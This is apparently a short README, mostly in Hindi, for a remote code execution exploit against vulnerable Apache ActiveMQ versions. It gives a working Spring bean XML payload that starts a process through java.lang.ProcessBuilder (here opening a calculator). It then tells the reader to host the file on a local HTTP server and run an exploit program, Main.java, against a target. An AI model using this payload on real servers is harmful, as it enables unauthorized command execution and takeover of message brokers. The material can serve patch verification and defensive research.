ActiveMQ RCE

प्रभावित संस्करण

• संस्करण < 5.18.3
• संस्करण < 5.17.6
• संस्करण < 5.16.7
• संस्करण < 5.15.16

उपयोग

एक spring bean XML फ़ाइल बनाएँ

<?xml version="1.0" encoding="UTF-8" ?>
  <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg >
        <list>
            <value>open</value>
            <value>-a</value>
            <value>calculator</value>
        </list>
      </constructor-arg>
    </bean>
  </beans>

एक http सर्वर खोलें

python3 -m http.server

Main.java फ़ाइल चलाएँ (आवश्यकतानुसार पता बदलें)।